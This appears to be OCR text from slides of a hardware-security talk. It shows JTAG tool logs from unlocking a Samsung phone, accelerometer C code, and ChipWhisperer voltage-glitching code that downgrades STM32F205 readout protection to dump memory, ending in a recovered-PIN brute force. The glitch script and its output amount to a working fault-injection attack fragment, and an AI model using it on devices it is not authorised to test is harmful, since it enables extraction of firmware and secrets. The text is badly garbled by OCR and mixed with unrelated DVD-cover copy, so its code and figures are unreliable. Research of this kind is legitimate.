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Info : stm32f2x.cpu: hardware has 6 breakpoints, 4 watchpoint.
Info : starting gdb server for stm32f2x.cpu on 3333
Info : Listening on port 3333 for gdb connections

In [11]: 1l # Display any printable ASCII data within the extracted b
2 result = subprocess.run([ strings’', 'SRAM.bin'], capture .
3 print(result.stdout)
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https://www.youtube.com/watch?v=dT9y-KQbqi4
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In an island warehouse in the San Francisco

Bay, a team of engineers and PhDs are inventing
the future, one prototype at a time. This crack
team takes on the problems of today’s world by
imagining the craziest, one-of-a-kind prototypes
of tomorrow, and then builds them. Consisting of
two PhDs, an electrical engineer and a special
effects wizard, the Prototype This team takes you
on a spectacular journey through the emerging

technology of the future.
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%DlscoveryStore =

CHANNEL ! English SDH |  Aspect Ratio V-G

To order DVDs and other products from any Discovery Communications % DIGITALLY Feature Running Time: Audio:
> mamEm L3

16:9 Anamorphic | Rating:

network call 1.800.475.6636 or click DiscoveryStore.com. Approximately 559 mins | Dobly Digtal 2.0
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C main.c ) No Selection

11 void main(void)

for (i = 0; 1 < POWSUM; i++)
{

¢ main.c

ADCSC1 = X_AXIS; // read X channel

while(!ADCSC1_COCO);
xX += ADCR;

delay(10);

ADCSC1 = Y_AXIS; // read Y channel

while(!ADCSC1_COCO);
yy += ADCR;

delay(10);

ADCSC1 = Z_AXIS; // read Z channel

while(!ADCSC1_COCO);
zz += ADCR;

delay(10);
XXX = xx / POWSUM;

yyy = yy / POWSUM;
227 zz / POWSUM;

if ((xxx > THRESH_UPPER_ZEROG)
(yyy > THRESH_UPPER_ZEROG)
(zzz > THRESH_UPPER_ZEROG)

threshold_failure++;

¥
threshold_test++;

(xxx < THRESH_LOWER_ZEROG)
(yyy < THRESH_LOWER_ZEROG)
(zzz < THRESH_LOWER_ZEROG))
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1. @ Draw pattern to unlock screen

| Pattern recorded!

Continue







Detected TAP ID: 4BA00477, IR Length = 4.
Detected TAP ID: 706BlOEl, IR Length = 11.
'Medusa JTAG Firmware version 1.24.
ERROR[O000]: Unable to halt core.

Selected device model: Samsung SCH-IS535
Connecting. Please wait...

Checking data...

'Medusa JTAG Firmware version 1.24.
Detected TAP ID: 4BA00477, IR Length = 4.
Detected TAP ID: 706B10OEl, IR Length = 11.
Medusa JTAG Firmware version 1.24.
ERROR[000]: Unable to halt core.

1

- . Direct Unlock Repair IMEL R
OCTO~APLUS - ' Read Infe, Write Firmmware for







Medusa Box Software version 2.6.1.7

Support And Options Advanced

Options

Manufacturer: | Samsung

MI: Medusa JTAG init failed.

Selected device model: Samsung SCH-IS35
Connecting. Please wait...

Checking data... |
Medusa JTAG Firmware version 1.24. Units Kilobytes
Detected TAP ID: 4BA00477, IR Length =
Detected TAP ID: 706BlOEl, IR Length
Medusa JTAG Firmware version 1l1l.24.
JIAG speed : 1000 KHz.
VREF level : 1.79 V

CPU : Qualcomm MSM8960

Core ID : 706BlOEl

Storage Device: Samsung eMMC MAG4FB
Device 1D : 00150001

Block size : 912 bytes

Blocks : 30777344

Storage size : 14.7 Gb

Connect successful.

Start 0 0b

Length 79744 * 77.9 Mb

@ ECC Mode

THE MOST FREQUENTLY UPDATED BOX
ON THE MARKET!






https://www.youtube.com/watch?v=icBD5PiyoyI

CNC 3018 Pro Max
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EMFI Hotspot Analysis — Center (bond wire)

w=5.1
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Fault

STM32F205 RDP Downgrade

300 310 320 330 340 350 360 370 380 390 400 410 420 430 440 450 460 470 480 490 500

Voltage
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scope.enable_glitch()
scope.sad_trigger_bl(read_pattern)
#scope.adc_trigger(level=level, gain=gain)
scope.glitch.repeat = bl_glitch_width
scope.glitch.ext_offset = goffset
arm_cs(voltage)

ret = scope.scopetype.usart.read()
if len(ret) > 0 and ret[0]
print(f"First response {ret.hex(sep=' ')}")

if len(ret) > @ and ret[0]
scope.scopetype.usart.write(addr)

time.sleep(0.05)

r = scope.scopetype.usart.read(1)
#print(f"Second response {r.hex(sep='

if len(r) > @ and r[o]
scope.scopetype.usart.write(bytes( [nbytes-1, scope.bl_checksum(nbytes-1)]))

bytearray(scope.scopetype.usart.read(nbytes+1))

#print(f"Third response {data.hex(sep="

data =

if len(data) > @ and data[@] == stbl.ack:
print(f"Successful read at {address:#010x} using {voltage}V at offset {goffset}")

I= stbl.nack:

stbl.ack:

stbl.ack:

# If response is not NACK

# 1st ACK
# Send starting address to read

# 2nd ACK

l)}ll)

print(f'"Response:\n{data.hex(sep="' ')}")

scope.bl_voltage
scope.bl_offset = goffset
stop = True

break

cs.armed = 0
scope.disable_glitch()

Attempting read at 300V:

First response 9f 1f
First response 9f 1f
First response 9f 1f

Attempting read at 305V:

First response 9f 1f
First response 9f 1f
First response 9f 1f
First response 9f 1f

Attempting read at 310V:

First response 9f 1f
First response 9f 1f

Attempting read at 315V:

First response 9f 1f

Successful read at Ox1fff7860 using 315V at offset 89

Response:

79 e2 b0 ae @8 5e 93 6a 2c 23 bl ff 99 27 a9 c5 b7 27 05

0%|

0%|

0%

0%

voltage

| 0/50 [00:00<7?,

| /50 [00:00<?,

| /50 [00:00<?,

| /50 [00:00<?,

7it/s]

7it/s]

7it/s]

7it/s]

d3 fb a@ aa dd 89 52 fa 3f cd a6 8e 30 9a

# Send number of bytes to read

# 3rd ACK



16%
Success! Recovered PIN: 123456789

PIN bruteforce took 17049.652480 seconds
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